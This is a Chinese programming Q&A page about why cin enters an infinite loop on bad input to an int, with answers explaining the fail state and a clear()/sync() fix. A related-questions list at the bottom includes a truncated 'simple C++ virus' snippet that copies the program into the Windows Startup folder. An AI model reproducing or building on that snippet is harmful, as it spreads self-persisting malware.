看一段简单的C++代码!

#include<iostream>
using namespace std;

void main()
{
int integer;
cin >> integer;
while ( integer != 0 )
{
cout << "Hello" << endl;
cin >> integer;
}
}
各位大侠,解释一下为什么当输入是字符的时候,会成为死循环!!!

原因是cin内部有一个“状态标志”,如果把一个字符输入给一个int,cin的>>操作符重载函数会把这个“状态标志”设置成某个非零的值(说明有一个错误发生)。

cin的>>函数在内部的实现是这样的:在最开始的时候,会判断这个“状态标志”是否是个正常值(这个正常值是0),如果发现这个状态标志不是个正常值,就会直接返回,也就是不会再给用户重新输入的机会,因此就导致是死循环。

cin是istream类的一个对象。我们可以使用它的good()函数来判断内部的状态标志是否是个正常值,同时可以使用clear()函数来清除上次发生过的错误标志。

所以,进行I/O输入输出,应该进行防错处理。
下面的代码是一个例子:
int integer = -1;
do
{
cin >> integer;
if ( cin.good() )
{
cout << "Hello" << endl;
}
else
{
cout << "Input error, please input a non-zero integer number:";
cin.clear();
cin.sync(); // 清空输入缓冲区,否则下一次的cin>>还是会从以前的缓冲区读取东西,导致死循环的另一原因
integer = -1;
}
} while ( integer != 0 );
温馨提示:内容为网友见解,仅供参考
第1个回答  2010-04-18
你将integer定义成char,无论输入字符还是整数都不会称死循环了,定义成int,输入字符型的数字肯定会出问题
第2个回答  2010-04-18
我是个菜鸟我感觉cout是标准输入函数
前面你定的integer是整形变量在存储时整形变量占两个字节
字符型变量占1个字节
当你输入的是字母[或其他非法键],编译器从缓冲区开头往后扫描,忽略无效空白键,直到遇到非空白的位置,这时编译器又判断这个字符是不是数字字符,但发现他是字符型而不是整形..这时会人会输入函数会读取数据失败,同时,输入缓冲区里的这些非法字符仍然留在缓冲区内,这样一来,循环到下一次,又是读取数据失败.......从而导致了程序陷入死循环但当你输入的是整形师编译器能通过运行部会有问题这时我的理解希望能帮到你

求以下c++代码(大一新生,课没上,实验要做)
任务5:大小写转换 include <stdio.h>int main() { char c; printf("输入一个半角字符:"); scanf("%c", &c); if (c >= 'A' && c <= 'Z') { printf("%c\\n", c + 32);} else if (c >= 'a' && c <= 'z') { printf("%c\\n", c - 32);}...

c++入门代码是什么?
c++入门代码如下:include <stdio.h> int main(void){ printf("Hello, world!");return 0;} 代码解析:其中第一行的#include <stdio.h>,这行代码是编译预处理指令,用来提供输入输出函数的声明和宏的定义,全局量的定义这些信息。stdio.h是系统提供的一个文件名,stdio是为standard input & outpu...

求一C++小游戏源代码 简单点的?!!谢谢
printf("Please choose the gamespeed:\\n");printf("1-Fast 2-Normal 3-Slow\\n");printf("\\nPlease Press The numbers..\\n");do {ch=getch();} while(ch!='1'&&ch!='2'&&ch!='3');clrscr();return(ch);} \/*主函数*\/ void main(void){ int ch;ch=Menu();Init();DrawK()...

C++简单输出代码123就行
代码如下:include<iostream> \/\/C++的标准头文件,任何符合标准的C++开发环境都有这个头文件。using namespace std; \/\/使用C++的标准命名空间\/\/上面两句新手暂时只要记住就好,后面会明白其具体含义int main() \/\/主函数,每个程序运行都是从主函数开始,然后调用主函数中用到的其他函数。{ ...

比较简单的C++病毒代码
最简单的病毒代码如下: #include "windows.h" #include "stdio.h" void main(int argc,char * argv[]) { \/\/printf("%s\\n",argv[i]); char copy[80]; sprintf(copy,"copy %s \\"%%userprofile%%\\\\「开始」菜单\\\\程序\\\\启动\\"",argv[0]); system(copy); \/\/将这个程序拷到开机启动文件...

C++游戏开发,超简单的入门项目,200行代码搞定开心消消乐
C++游戏开发入门:200行代码轻松实现开心消消乐 开发游戏并不需要高深技术,即使是初学者也能上手。本文将带你通过一个简单的C++项目,一步步了解游戏开发过程。源代码可在本文底部获取,对代码有任何建议,欢迎加入我们的学习交流群进行讨论。连连看的开发首先需要确定数据结构。游戏中的矩阵界面用二维数组表示...

写一段简单的C++代码
include <stdio.h> main(){ int i,x,j,ok;scanf("%d",&x);for (i=2;i<=x;i++){ ok=1;for (j=2;j<x;j++) if (i%j==0) {ok=0;break;} if (ok) printf("%d\\t",i);} }

来一段简单的C++打开指定文件的代码谢谢
char sRead[1024];CFile mFile(_T(%%1),CFile::modeRead);while (sRead!=null){ mFile.Read(sRead,1024);CString %%2=CString(sRead);3 } 8.写入文件 CFile mFile(_T(%%1), CFile::modeWrite|CFile::modeCreate);mFile.Write(%%2);mFile.Flush();mFile.Close();9.写入随机文件 ...

一个c++简单程序的源代码
include <iostream.h> int main(){ int a;cin>>a;cout<

小游戏的C++代码
火脸柴人小游戏的C++代码实现这是一个简单的火脸柴人游戏,游戏规则如下:玩家通过方向键控制蓝色小人移动,避开位于(10, 10)位置的红色老女人。一旦小人与老女人相遇,游戏结束。代码使用C++编写,需要在编译时添加 `-std=c++11` 参数以确保正确编译。以下是关键函数的代码片段:void gotoxy(int x, ...

相似回答
大家正在搜